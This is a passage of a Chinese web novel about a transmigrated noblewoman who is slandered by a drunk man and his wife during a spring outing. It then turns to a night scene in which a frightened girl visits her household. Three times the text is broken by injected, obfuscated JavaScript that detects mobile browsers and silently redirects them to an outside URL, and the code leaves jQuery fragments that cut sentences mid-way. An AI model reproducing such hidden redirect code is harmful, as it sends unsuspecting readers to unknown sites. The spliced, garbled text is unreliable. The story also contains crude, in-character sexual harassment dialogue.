只是不曾想就在服药后的第二日,她本着小安雅那桩事算告了一段落的心思,企图前往曲氏姐弟的住院去“叙叙旧”,看能不能关于二人之前的反常行为套出一些话,结果尚未进入正题,就在为表现亲近而随曲知笙旋转舞蹈的过程中感到一股暖流涌出。
不清楚坐在院内角落胡凳上击鼓的曲游欢有没有注意到她身上的变化,总之她很笃定,她绝对在察觉到不对劲后以最快的速度奔回自己院子,然后匆忙换上前一晚托云岫准备下的月事布。
简陋,但也能用,而且就实际来说,不论是质量还是数量,她所能享用的已远远超过普通女子。
只是她尚且能用身份显赫这一原由来说服自己心安理得地使用丝绸做的月事布,可要她把换下来的布料交给云岫、晴眉来洗净晾晒,这怎么想都让人无法接受。
为此,她没少因为处理月事布而和两位贴身侍女打游击战。
而除却经血的处理问题,另一要事便为——那简直叫人难耐的疼痛感。
不是尖锐的刺痛,也不是间歇的阵痛,而是持续又不致命的闷痛,好像是整个腹腔都在痛,但又寻不到具体的来源。
痛经的折磨她也在现代时体验过几次,但总的来说,比较轻微,喝些热姜茶能舒缓许多。可现下这次,她真是头一遭感受到疼痛得意识模糊是什么滋味,吃不下饭也睡不好觉,一直若有若无的恶心反胃,虽不至于让她嘶吼惨叫,却也在无意识地哼哼唧唧。
连续五六日待在屋内,要么躺着,要么坐着,唯一能消遣的也就是读几页诗书。
好吧,其实也没读多少,她哪儿有心情品读诗文?只不过是找几本来辨认一番,看看与自己原本世界中有几分相似。
文字、习俗、制度,甚至大部分古籍思想都相吻合,可偏偏在细节上有一定的出入,自然,朝代更迭也对不上。
是平行宇宙,还是架空时代?
“崔清婉”叹口气,想不明白,算了,都有借魂这种事情发生,怎么可能还与自己熟知的世界一样呢?
“四娘子,妾继续上次的舞,就在此处,好吗?”
熏风撩垂柳,半掩说话人姣好的面容,身着杏红色窄袖长衫的曲知笙此时踮脚在草地中转了几圈,腰铃悦耳,身姿绰约,甚衬美景。
四月未过上旬,草木渐褪嫩色,此时说是踏青,其实已然过了时节,但见碧空如洗,日华灿灿,“崔清婉”又因生理期在府内憋屈了多日,说什么今天也要出来。
当然,带上曲氏姐弟,还是想继续进行那日突然中断的套话。
从崔府到这栖凤城南郊十余里的地界儿,约莫用了一个时辰,三四辆马车行在大道上,颇为惹眼。而以重视门客为由,“崔清婉”邀请曲知笙与自己同乘一辆马车,路上她自然没有闲着,可多番试探下来,并不见曲知笙有什么心虚慌乱,坦白直言的模样说明那夜的事确实是个巧合。
“不用歇一歇吗?虽行的官道,但也有颠簸,而且游欢的蛮鼓也才从车上取下,你总得等等他。”
下了马车的“崔清婉”连连摆手,谢绝了云岫支好的胡凳,实际上她很想伸个懒腰、活动活动筋骨,但碍于四周还有零散的赏景人,所以也只能让自己站得挺拔些算作是舒展。
而才支着架子想要为蛮鼓搭个平稳地儿的曲游欢听罢这话,忙是抬起头怯然一笑,白皙清瘦的面容少了初见时的阴郁,倒多了几分“本该如此”的怡然之色。
“四娘子不必顾及我,阿姊遗憾那日起舞中断,今日特地往革带上多系了几枚铃铛,就怕我出了什么岔子,不能及时伴奏。”
“是,铃音响脆,妾为四娘子特意准备的。”
曲知笙一边说着,一边拧拧腰肢甩动腰铃,她动作自然未有造作之意,就连富有节奏的金属音也爽利地应和着她的坦率。
“那既如此,就请知笙不吝舞姿,让我一饱眼福吧。”
“喏!”
仿佛得到什么天大的许可,曲知笙眸光焕发,紧盯着“崔清婉”向一旁兴奋地闪了几步。
山间碧草如茵,嫩柳随风,上见桃李繁花满枝,下闻溪流潺潺淙淙,身穿胡人杏红色长衫的女子先一抬臂,后是击掌三声,引得周遭人皆转首侧目,而她对旁人注目未有一丝留恋,只目不转睛地回看不远处一袭雪青底银丝花笼裙的清丽娘子。
腰身未动,肩臂先行,只见曲知笙双手翻转,宛如栖木神鸟,抬眉浅笑间已然起势。
回身半蹲,单臂托出,一翻腕,复起身而立,她不似习软舞者娇媚无骨,肩臂半抬间,她身姿挺拔,颇有纵马疾驰之英姿。
伴着渐响铃声,她如沙洲雄鹰,猛地张怀甩袖,忽又收手侧弯,半掩面容却留一双张扬自信的眸子直勾勾盯看观者。
回旋、腾跳,她动作明快身形轻盈,不时穿插昂首之态,甚为肆意豪迈。
“咚!”
“咚!”
以两道渐弱的鼓声铺垫,奏乐之人也终于赶赴舞宴进程,那透亮鼓音逐渐强劲,和着腰铃声纠缠不休。
腾跳飒爽、旋转明快,曲知笙虽身着窄袖,但胡衫宽松,她衣袂翻飞间带动近身的荼白落花,一如北风搅动漫天玉尘,俏丽且婀娜。
急破催摇曳,罗衫半脱肩。
以往只在诗词中品味想象,如今亲眼看了,竟觉得再也没有比这更贴切的。
即便驻足围观者愈发增多,但“崔清婉”还是难以掩饰她眼中乍泄的惊喜之情,这或许与她在人前刻意保持的沉静淡然形象不同,可她没办法,情由心生,无论怎样克制终究还是会在某些地方流露出来。
“‘落花绕树疑无影,回雪从风暗有情’,某当是哪家舞姬有如此风采,原是出自崔四娘子宅邸。”
循声而看,远超常人的高大身影极易辨认——鼻梁挺拔如山,眉眼间满溢凛然正气,罩在男子魁梧体格外的是一袭藏蓝绣金狮子联珠纹圆领袍衫,其腰间饰有皮质革带,上缀非金即玉,甚为华贵,但意外的是,他手腕处所佩戴的皮质扩腕已有磨损,比起这一身精美奢贵的行头,属实有些老旧了。
“真是巧,居然能在踏青途中碰到裴将军。”
虽高对方一个品阶,但“崔清婉”还是垂眸颔首以示礼貌,不过这样干巴巴一句话实在单薄,她眼珠子一转,忙着又凑了半句客套话。
“说来我未曾亲自登门道谢,实属失礼,还请将军见谅,前几日真是多谢将军府上的马车了。”
“将军?”裴如信轻轻重复这一称谓,而后不动声色地迈步,将那藏蓝色的雄壮身影横在“崔清婉”的眼前,遮挡住对方欣赏翩然舞姿的视线,“你入水救人才将十日,竟有这般好心思,还来踏青?”
眼瞅着无法越过他看向曲知笙,“崔清婉”也只能认命地继续与裴如信寒暄。
抬头上看,对方还是那张始终让人捉摸不透的冷峻面容,但与初次相见时那抹极为怪异的瞥视相比,如今的裴如信已收敛了诸多情绪,只是那份审视自己的意味依旧存在。
呼……真不知往日里的清婉娘子究竟怎样得罪过他……
心中无奈叹气,“崔清婉”此时竟没来由地怀念起去值守皇城的崔皓羿来,不过是矮裴如信五六公分的高度,但崔皓羿与自己交谈时可没有这般临下的姿态,对方总会在言语时半倾身子,轻声细语间尽显“亲不亵狎”。
然而不管有再多的小心思,“崔清婉”面上总还得保持笑吟吟的模样,她稍歪发髻,轻声开口。
“虽赶不上春意萌发之刻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922970|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但见初夏风光也别有滋味。倒是不知裴将军怎么有空在此游玩,是休沐,抑或是告假?我原以为身居将军一职,得常驻军营操练士兵呢。”
没有接她为了寒暄而抛出的问题,裴如信只是点点头评价了句——
“脾性多些勇毅,但开口间也不似往日般中听了。”
“呵……”
寒暄就寒暄,点评个鬼!是有人给你塞了点评返现卡吗?还是你开了大众点评的会员啊!
内心翻个白眼,“崔清婉”可不打算忍着对方,总之有离魂症兜着,适当释放天性也算是减压了。
“说到言语不中听,在将军面前,我还是班门弄斧,惭愧惭愧。”
本以为自己回呛一句会引得对方再度甩来冰冷瞥视,却不想裴如信面上的肃穆竟柔和了些,甚至他眉眼间不见恼怒,反添几分欣赏。
“性子也非往日般柔顺。”
呸!
“崔清婉”心中又是一啐,撑着脸上的笑意回道:“直接下水救人虽显鲁莽,但终究是善事一件,若以此便说我非往日般柔顺,清婉倒有些不明白。”
“还学会了装糊涂。”
屮!不接招!还保持输出!算你狠!
“崔清婉”收回看向裴如信的目光,垂眸间顺势低下头,也算是让自己的脖颈缓缓劲儿不那么酸乏,只是没想到自己刚与他的视线错开,他便再度开了口。
“脾性长些也算好事,某可不愿看到你颓丧模样,嗯,不吉利。”
你才不吉利!明明你整张脸都写满苦大仇深好像那个墓碑吞噬者!还敢说我不吉利!呸呸呸!
自然是不能真骂出来,“崔清婉”还是很会掂量自己释放天性的程度,她紧咬下唇,将涌到嘴边的脏话忍了又忍。
莫名而起的斗嘴暂且停止,裴如信作为胜者悠闲地向一旁跨了半步,走到垂头不语的败者身侧,他随意地扫了一眼不远处因婆娑起舞而引得众人围观喝采的舞姬,似乎是想起什么,他再度开口。
“不过你虽与往日里判若两人,某却希望你还记得《绿腰》怎么舞,别到了五月初七的宴会上,盛王邀你起舞时,又丢了面子。”
“哈?”
对方话音刚落,“崔清婉”便猛地抬头,她手指朝向自己,以纯度百分百的惊诧神情看向裴如信。
“跳《绿腰》——我?真的假的?”
裴如信微微俯首,将视线再度锁在“崔清婉”身上,他眸底深处,一丝转瞬即逝的打量迅速划过。
“自然是你,以舞相属虽有成礼,但盛王喜好乐舞早就不是什么秘闻。以你往日《绿腰》之名,宴会上请你独舞也非逾矩,只是以往这般情形,你不是衣裙湿乱,就是不胜酒力,愿你这次别再出什么岔子。”
“衣裙湿乱、不胜酒力?”收起一些诧异神色,“崔清婉”垂下眸子喃喃自语,“反正也有先例,不如我再出点岔子,这样不就可以撂挑子不用舞了?”
“嗯?你现在就要认输?”裴如信皱起眉头,恢复初见时略带轻蔑的神色。
“没有!”
察觉到高大身影的威压迫近,“崔清婉”果断摇头并矢口否认,利索动作间她发髻上的首饰也铮铮作响。
然而还不等对方再做什么反应,那被忽略了半晌的舞地上却横生变故——只听得“哎哟”一声惊呼,抬眼看去,竟是几人撞翻在地,男男女女,横七竖八。
几乎是同一时间,用来伴奏的鼓声即停,反应最快的曲游欢立马抬步上前想要搀扶被压倒在地的曲知笙,不想他刚扑到对方身边蹲下,那乱作一团的地上竟悠悠传来一句惊世骇俗的醉语。
声音不大,但偏让在场之人都听得真切。
“小娘子嗝——小娘子美貌,湿身之态更是妖媚诱人呃——不如和我进这溪中,来,来场鸳鸯浴如何嗝呃——”
25.踏青·流言(中上)
撞倒的是曲知笙,可在场之人近乎一半都将目光投向了“崔清婉”。
“湿身之态”——仅仅四个字就很容易让人联想到数日前这位崔娘子当街入水救人的举动。
对寻常百姓而言,站在魁梧男子身边的清丽娘子衣着不凡,二人大抵是私交甚好的权贵子弟,他们并不知晓她究竟是谁,也不觉得现下这场景有什么难堪;可在稍微有些身份的人眼中,此情此景显然不是那么简单的一回事。
顾不上方才耸人听闻的醉话,曲游欢迅速将曲知笙扶了起来,扯着她的衣袖将她拽到一旁,生怕沾染上醉汉的半点气息。
短褐着身的醉汉仰面朝天,半耷拉着眼皮,对旁人的躲避毫不在意,许是身下有什么硌着,他懒散地蹭着地面挪动了几下,而后再次无谓地摊开身子,带有泥垢的脚踝不停抖动,衬得一双崭新草鞋格外惹眼。
“嗝呃……湿透的衫裙裹着赤色肚兜,又圆又润嗝呃——腰细!屁股……屁股也大!上岸时还颤巍巍的……嘿嘿……嘿……”
不着边际地胡言乱语,说到尽兴处,醉汉还向上顶顶胯、抬起胳膊比划几下,仿佛虚空中真有个人在让他抚摸淫污。
而见到大汉这副模样,围观中的女子多半羞红了脸颊,忙着从地面上错开目光,极少数怒目而视,对这样荒谬无耻的言行甚为不满;而男子们有皱眉摇头的,有目光烁烁的,绝大多数还是等好戏的看热闹模样。
“崔清婉”紧紧牙关,克制住想要揪起对方领子给他几巴掌的冲动,她能察觉到四周路人隐晦又戏谑地打量,自然,还有面前这个高大身影所散发出的低沉气压。
任她与裴如信如何耍嘴皮子,崔、裴两家终究是有交情在的,况且今日之事明晃晃冲她而来,哪怕她和裴如信真有些过节,此时此刻,他定然也会看在与崔皓羿私交的份儿上帮她一把。
可裴如信现下不能发火,她也不能。
这大汉一副醉醺醺的模样,尽管言语冒犯,但毕竟没有指名点姓,若“崔清婉”这方有人沉不住气,真搅合进去,那才是坐实了对方所言皆指她自己,如此一来,她必将成为整座都城茶余饭后的谈资。
“四娘……”
云岫上前半步,凑近自家娘子身边低低唤了一声。
她当然明白云岫意思,不过最终还是选择摇摇头,强忍心中不快,她轻声回道:“无事,吩咐他人准备收拾东西,我们在附近换个地方。”
“喏。”
看自家娘子沉得住气,不像是被惊着的模样,云岫敛去面上的恼怒,只是颔首退下,转而朝向其他小厮嘱咐安排。
“粉香汗湿……春逗酥融……浴罢……浴罢扪弄处……凉沁紫葡萄……”
无人阻拦,醉汉更是悠悠地哼起了坊间伶人编的艳曲,他平躺着翘起二郎腿,单手搭在肚子上挠了挠,一副混不吝的模样。
“醉酒闹事,还在此大放厥词,来人将他拖下去,莫让他再哗众取宠。”
听清醉汉含糊的唱词,裴如信面上愈发冷漠,他背着手向前踏了半步,语气低沉颇具威严,一时间,四下低和的曲音迅速中断。
“谁、谁家郎君……真是好生威风哈啊——”
醉汉打了个哈欠,酒臭味立即向四周弥散开来,近他身的围观者忙是皱眉掩鼻,顺手又在眼前扇了扇。
见状,醉汉“嘿嘿”一笑,似是对自己行为很是满意,都说酒壮怂人胆,许是有几分道理,只见这大汉用胳膊肘撑住地面,将半个身子往起支了支,随后他睁开快要眯着的双目瞟了眼不远处的“崔清婉”,神色一亮,而后他再度开口。
“又白又净,我家婆娘要有你这般,嘿,这般柔嫩……裁二尺布算什么,就是呃,就是要玉簪我也给她搞来嗝呃……你早说你想借我家伢子做场戏,何必要五十金,你只消让我摸一摸,我就全依你了……”
简直荒唐,且无耻!
若说醉汉最开始的言谈是不提及名姓的意淫,那他而今所说便是几近赤裸的污蔑。
这无端恶意让“崔清婉”眉头越皱越紧,她整个人僵在原地,因遏制怒火而攥紧的拳头已隐隐颤抖,纤细指节也紧绷得发白。
裴如信侧眸瞥向她,目光凝重,随即他横跨一步将“崔清婉”挡在身后,未有技巧,他仍是直接粗暴地用权势压人。
“已听得训斥却还不住口,尔不过几杯金波下肚,竟敢当众胡言?擦亮尔的狗眼,这可是圣人亲封的郡夫人,岂容尔在此污蔑?来人,掌嘴!”
啪!啪!啪!
几道深色衣衫的人影得令后便迅速上前,他们动作利落地架起醉汉,抬手便给了那厮几个巴掌。
不得不说,这样的解决方式算不上最优,但确实有效。
相较“崔清婉”而言,前来游玩的人们有不少是认识世代为将的裴家郎君,于是他们很给面子地陷入沉默,只留裴府下人压制住醉汉掌嘴的动静。
虽说被挡住视线,但“崔清婉”还是从旁侧瞧到了前方的响动,她急促地吸了半口气,欲言又止。
来不及劝阻……或许,是不知道该不该劝阻……
坦白讲,“崔清婉”自己都很想冲上前给这个莫名冒犯自己的男人来点教训,可当真有人来帮她出这口气时,她内心深处竟然很圣母地觉得不应该。
以直报怨,以德报德;以德报怨,何以报德?
道理她是明白的,但见到醉汉被挟持住只能忍受单方面的殴打时,她还是有些于心不忍。
不是不能教训,只是这样仗着权势来压制,总让她心中不得劲。
就好像……就好像她才是那个仗势欺人的恶霸,此刻正在鱼肉乡里……
但她不在现代社会,眼下这个局面中,如此做似乎是最合理不过的,毕竟她是“崔清婉”,是堂堂云中郡夫人,是崔家四娘子,被平头百姓得罪了,掌嘴似乎是最轻微的责罚。
理智要求沉默,但良心又挣扎不断,胸口像再次被堵上巨大石头般,只能让她重复着深呼吸来缓解不适。
一旁的云岫见了,递了个眼色让晴眉去取随行带的水,而她则是上前,不断为自家娘子顺着背,轻声宽慰着。
“四娘莫要为这种无赖动怒,裴将军已差人惩处他了,若四娘还不解气,将他绑起来送入官府,也是行的。”
送官府?也算个办法。
可怒吗?倒不全是。
是无奈吧,是这种被身份困住的无奈……
如果是她亲自动手,多半不会有这几位仆从下手狠辣解气,可那将是自己打的,即便顶着“打人不对、有失礼节”的争议,但终是自己打的,如今任由下人替自己施暴的行为,这又算什么呢?
崔清婉或许能接受这样的处理方式,但她不是崔清婉。
……只是她又能做什么呢?
忽地自嘲一笑,堵在她胸口处的大石倏地粉碎,湮化成一团看不透、驱不尽的粉尘,呛得她眼眶中涌出一股股酸涩。
罢了,就当她怯懦且卑鄙吧,就给这醉汉几个嘴巴子,就让这件事到此为止吧。
如此想着,“崔清婉”收敛眸底的沉痛,她屏吸一口气,打算喝止下人的举动。
“好了,住手——”
似乎是舍不得这场消遣利落地结束,“崔清婉”话音尚未落地,不知从哪个方向,又传来一声哭天抢地的嚎叫。
“俄老汉!俄老汉!莫打!莫打唷——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927037|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
平地响惊雷,莫名而来的一句话像是突响的锣鼓声,伴随尖锐嗓音,一道暗色身影从人群中麻利冲出,先是扒拉开负责掌嘴的小厮,随即“扑通”一声,人影跪伏在地,叩首间还有一连串密集的求饶。
“是四娘子允了俄五十金,说只要俄娃掉一次水,让四娘子救一次,就妥咧,四娘子可不兴不认!俄们家娃娃还病在屋里头,等着钱救命哩!”
“俄胆小,俄被俄老汉打怕咧,当日的谋划莫敢让他知哈,谁知他奏醉在桥边,刚好瞧见俄娃被四娘子救哈,四娘子长得俊,他一时没忍哈动了歪心思。其实也莫啥,他回屋里头鼓捣一通俄也就罢咧,谁知可巧,正好遇上娘子府上的人前来问话,这一哈全让他知晓咧!”
“他蹲在娘子府门口蹲了多天哩,奏是不见四娘子出门,今日他不去田里,说去吃酒,俄怕出事,才偷偷跟上他。谁知他听人说四娘子出门游玩,他醉昏昏地拔腿就跑,忙戳戳就杵过来咧。冒犯到四娘子是俄老汉不对,但倒究本,是四娘子允俄家的钱还没给哩,四娘子打也打过咧,能不能把钱给俄们,俄保证俄老汉以后再也不会生事,俄们全家老小都感激四娘子的大恩大德……”
一石激起千层浪,抛出海量信息的女人语罢便低低伏在地上,好似四周的嘈杂与她无关,她只是不懂人情世故的朴实百姓,她说的一切都真实可信。
棕褐襦裙褪色泛旧,紧紧勒在女人瘦小的身躯上,粗布条绾起的长发枯黄干涩,即便用了三两根乌木簪也难以阻挡碎发的毛躁出逃,她面容憔悴,整个人就像是酷暑被遗忘在发馊洗碗水中的破抹布,唯有裹在肩头的檀红色帔子为她增了几分生的气息。
不过这里无人在意她的衣着,就像没人在意她看上去竟比醉汉小了十余岁的事实,人们只在意她冲过来又为这场大戏添了什么猛料——
“难怪那日救人的都是他们崔家人,原是这样,真想不到……”
“真是偷鸡不成蚀把米!还想扬名声,不如扬扬那红肚兜吧,湿了衣衫还搔首弄姿,真让人不齿!”
“桓王休了的货色,能有什么正派行径?就这还算出身名门,可见名门大族多的是鬼心思!”
“哎可别说,要给我五十金,我也干!”
“给我三十金就行!”
“要什么金子?没听那大汉说吗?嘻,能摸上一摸。”
……
有醉汉妻子的话佐证,旁人也顾不上威严如山的裴家郎君还站在那儿,他们三三两两的低眉侧首,窃窃私语着。
而事态演变到此情此景,已不是他人插手就能解决的程度,裴如信皱着眉头看向“崔清婉”,隐隐恼怒的目光中不见怀疑,只有慎重。
“崔清婉”未在意裴如信的眼神,她向前踱了几步,明澈双目死死盯住这夫妻二人,她的眸中充斥着不解,那灼热的目光似乎要将眼前一切全都烧融。
如果说先前是愤怒与自省,那此刻难以掩抑的苦涩是什么?
原来人在受到无端中伤后,第一反应不是辩解,而是困惑。
为什么是我?为什么要这般胡言?为什么非得针对我?
在对方滔滔不绝、无比真诚且煞有其事的描述中,被中伤者甚至也会有一丝动摇。
难道……真是我的错?莫非我真的做过?
真是可笑又可怜的反应,头一遭被如此对待的“崔清婉”就这样略显呆滞地扎在原地,她甚至比不上砧板上被开膛破肚的河鱼,她连抽搐挣扎的劲儿也没有,她觉得自己方才的善念像个笑话,她竟然因为对方的身份就想轻易原谅。
哈,谁说捕兽的夹子就一定是光亮崭新的呢?锈迹斑斑的夹子才更能确保猎物的死亡,不是吗?
26.踏青·流言(中下)
人在惊恐中爆发的尖叫是无意识的,所以“崔清婉”自己都不清楚为什么她能招了半院子的人来。
不过就算有人拿录音机为她重播一次方才的动静,她大概也会在沉吟片刻后摇摇头,用无声来表达不可信吧。
“四姐别怕,只是一孩童。”
听到异常的尖叫,走出院门有了一段距离的崔皓月立刻折返回来,一袭玄青色翻领窄袖袍因他动作匆忙而歪了缀有银鹤宝珠的领口。
此刻他以警戒的姿态横在“崔清婉”与怯懦的孩童之间,面上多了几分冷漠。
自崔皓月身后,一道利落的身影迅速闪过,那急促的脚步踢得花草纹样的浅檀色裙边翻飞,方才还在柔声抚慰“崔清婉”的云岫此刻已然换上一副凌厉神色。
她紧了两步走到垂首跪地的小厮身边,抬手向对方的身旁怒指,恨铁不成钢地从牙缝中挤出一句责问。
“这是谁家孩子?!为何会出现在四娘院中!我三番两次叮嘱过你四娘受不得惊吓,受不得惊吓,你是怎么当得差?莫不是你收了他人好处故意恫吓四娘不成?!”
守卫这座院落的小厮名唤洞明,他不过十五六的年岁,只是眉清目秀,瞧上去像个机灵没坏心思的,如此才得了到“崔清婉”院中做事的机会。
而眼下情形,显然是他闯下大祸,那精瘦的身形“砰砰砰”一通叩头,焦急又慌乱地开口辩解。
“回、回娘子郎君,我本在院中好好值守,是……是曲娘子!曲娘子不知从何处带这孩子来,我、我以为她与娘子有约,便、便放她们……”
磕磕巴巴的话语越说越没底气,他清楚自己不该自以为地行事。
可府内上下谁人不知四娘子与三郎君一大早出门就是为了接回舞伎乐师,四娘子若不看重他们,怎会如此行事?当这舞伎领着孩童进院时,他哪敢阻拦?
“你以为?!”
云岫的声音陡然增大,压出一院子肃静,她本是个沉稳妥帖的,说起话来更是有条不紊,可现在只要对上四娘子的事儿便冷静不下来。
“你有多大本事就自己——”
“好了云岫,没事的。”在云岫越发歇斯底里的指责中,一道轻柔的制止声从崔皓月身后传来。
水色衫,粉藕裙,一带秋香绕臂弯;颦烟眉,缓揉心,双目噙珠忍不安。
自惊呼出口约过了半盏茶的时间,“崔清婉”方才的心悸已渐趋平缓,当她缓过神来,这才发现自己院内的气氛格外凝重。
她隔着崔皓月的身影向外眺去,突地瞧见一排跪着的人影,她连忙摆摆手,让为自己顺背部的晴眉退下。
随后她快步上前,但在走到这几位或熟悉或陌生的面孔身边时陷入为难,她真是搀扶对方不是,不搀扶也不是。
“都快起来吧,总归是我胆子小,这也算不上什么大事,不必弄成这种场面。”
最终还是没有搀扶,尽管她此刻的言语在旁人看来已足够宽容仁爱,可她还是在心底对自己的懦弱啐了一口,她怎么能够心安理得地接受他人的跪拜?
不过说是心安理得,可她明白自己没有,她终究不是崔清婉,所以在面对他人跪拜时,她还是惶恐得很。
只是现下她不知道她可不可以主动搀扶眼前之人,她生怕做了什么不合身份的举动,转而被人戳穿。
“他们畏惧我,所以还跪拜不起,都说初生牛犊不怕虎,你这娃娃既敢入我崔府,自然是胆子大些,不如你做个表率,先起身如何?”
见自己让众人起身的言语无效后,“崔清婉”换了个策略,她迈了半步蹲在那道比旁人小了一大圈的身影前,语气温和地鼓舞眼前的孩童。
孩童瑟缩着,听罢近在身边的柔声细语不由得愣怔几分,大抵是“崔清婉”蹲下的姿态确实亲和,所以这梳着两束发髻的小小头颅才在犹豫中缓缓抬了起来。
不过是对视一眼,是善是恶便在孩童心中有了判断。
随着孩童的起身,“崔清婉”下意识打量了对方几眼——粗麻布的衣物虽破旧些,但还算合身整洁,只是在衣襟与袖口处沾有几抹略显扎眼的泥土痕迹。
这小娃娃约莫十来岁,一双眼睛乌黑发亮,不过因为身板瘦小,猛地一看辨不出是男是女,可当这孩子站起身来,“崔清婉”便立刻明白,这是个小女童。
之所以她能辨认出来,主要还是因为这女娃娃搂抱东西时胳膊肘太过用劲,简直把浑身的不安全部转移到怀中的包裹上。
至于那包裹是何物,其实“崔清婉”也从松散的包裹布料间瞧明白了,那是她前几日下水救人时抛开的保暖外衫,想来是被这女童捡捞起来,今日特地归还吧。
不过……若是归还,怎么无人通报,这孩子是怎么进得府宅呢?
罢了,不是要紧事,慢些问,别弄得箭弩拔张,吓坏了她。
如此想到,“崔清婉”没有起身,仍旧面向女童半蹲着身子,她伸出手拍拍对方衣裳上的泥尘,放轻声音缓缓开口。
“好孩子,怎么弄了一身的土?有什么事儿你可以和我说,放心,我不会怪你……哦,也不会怪带你过来的那位姐姐。”
笑容和煦,话语轻柔,要说“崔清婉”有没有装的成分,应该是有的,毕竟现代生活的她并不是一个很能和孩子处得来的人。
只不过她也不是完全厌恶孩童,她只是怕一些无法沟通只会哭闹嘶吼的幼兽,对于这种明显可以沟通还有礼貌的孩子,她还是愿意扮上温柔大姐姐模样的。
“崔娘子,您、您真的是个善人……”
女童嗫嚅着说了这么一句,然后目光不安地向四下瞟了几眼。
正当“崔清婉”准备鼓励她再度开口时,她抿紧双唇用力咽了一口唾沫,像是决定了什么,将怀中的包裹摊开递出,而后再度下跪。
“这是您的衣裳,洗好了的,我求求您,求求您不要吃福仔的肉,福仔和我从小玩到大,我不想让福仔死。”
“哎呦这可不兴跪,快起来——”
见女童又要跪下,“崔清婉”忙着将手伸到女童的腰侧将她扶了起来,只是一瞬的触碰,“崔清婉”心中便感慨这孩子的瘦骨嶙峋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932038|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>真不知道这孩子抱着怎样的决心与勇气才来到崔府与她说上这样一句话,只知道这孩子撑着一口气说完最后一个字眼后便泣不成声地哭了起来。
没有歇斯底里的哭嚎,只是一抽一抽地掉着泪,女童那“啪嗒啪嗒”坠落在地的泪珠声响让“崔清婉”也跟着难过起来。
“好好,不会吃的,不会吃的,我怎么会吃你的福仔呢?”
“崔清婉”将女童环在身前,轻轻拍着对方干瘦的后背,她一边抚慰着女童一边下意识向云岫与崔皓月的方向回看过去。
“话说,你们有谁知道福仔是什么吗?”
被询问的二人也是一怔,面面相觑,还是云岫机灵,率先一步走到仍跪在地上的几人身前,一边冲洞明点头示意,一边将一直默不作声的女子搀扶了起来。
“曲娘子,你也知四娘身子弱受不得外面的寒风,这孩子是你带进院子的,所以到底是怎么一回事你也该说说,如今在这儿你闷着声一句话不说,也不是个办法啊……”
随着云岫言语,“崔清婉”这才正式将目光放在了缓缓起身的女子身上,这个自己亲自领回的人儿,她此刻倒才有了仔细端详的机会。
高鼻深目,挑眉如漆,许是因为长久舞蹈的缘故,曲知笙白皙的肌肤天然透着健康的血色。她那被发饰简单点缀的惊鸿髻下,松花绿的对襟小衫正束在彤色长裙之中。
曲知笙的身形大多隐在齐胸襦裙中让人看不真切,但在她起身动作时,还是被“崔清婉”瞧见了她双臂上漂亮的肌肉线条。
没有纤若无骨的娇柔,曲知笙身上带着的更多是属于舞者的生命感。
“崔清婉”突地想起来,云岫在自己午睡前曾和自己说过,曲知笙的柘枝舞乃是一绝,腾跃明快胜男子,婀娜俏丽比西施,在不少宴会中都受到了官员们的称赞。
“王……”
正张口言语,因昔日熟悉的称呼而被云岫瞪了一眼,曲知笙陡然哑言,她的目光垂了又垂,过了好一会儿才抬起无辜懵懂的眸子向“崔清婉”看去。
“四娘子,又见您,妾很好,这孩子妾不识,只是在花园碰到,她说寻你,很焦急。”
呀……
“崔清婉”心中低低一声感慨,她是听云岫说过,这曲知笙有几分痴劲儿,但未想过,对方是这样独特的表达,不过也没什么,意思送到了就行。
都说语言是思想的物质外壳,或许就是因为对方不那么入世的外壳,这才保住了她灵动飘逸的内在生命力。
“见到你我也很开心,你是说你在花园碰到这孩子的?那——”
问题还未出口,“崔清婉”便被一声短促的呼唤打断。
“娘子——”
应声看去,闯入院门的是一抹玄色高大身影,他青丝松散,神色慌乱,不似平日里见到的束发沉稳模样。而在那玄色包裹之内,只有一层精白的里衣。
此时此刻,他除却脚上穿戴着的金线暗纹靴还算正式,其他装扮莫不显得匆促至极。
这夜晚真是热闹,竟然连院落甚远的崔皓羿也赶来了。
27.夜色烦忧
就崔府的院落布局而言,“崔清婉”所居的灼玉苑还是与崔皓羿暂住的衡兰馆有些距离,所以“崔清婉”很笃定对方绝不是因自己的尖叫声而来。
毕竟她虽因害怕而略显失态,可到底不是给喉咙里直接装了个公屏大喇叭,音量没那么夸张。
倒是崔皓羿,他慌慌张张赶来,连身上披戴的玄色银绣大氅也不曾系扣住,就这样直直地敞开来。
虽说他还穿着白色里衣,但那堪堪半掩着的健壮肌体,怎么看都觉得不合适。
“崔清婉”下意识就想提醒对方这样子不成体统,可偏她一抬眼又瞧见崔皓羿披散的长发此时还冒着湿热的水汽,他单手紧攥的发尾已是最大的体面。
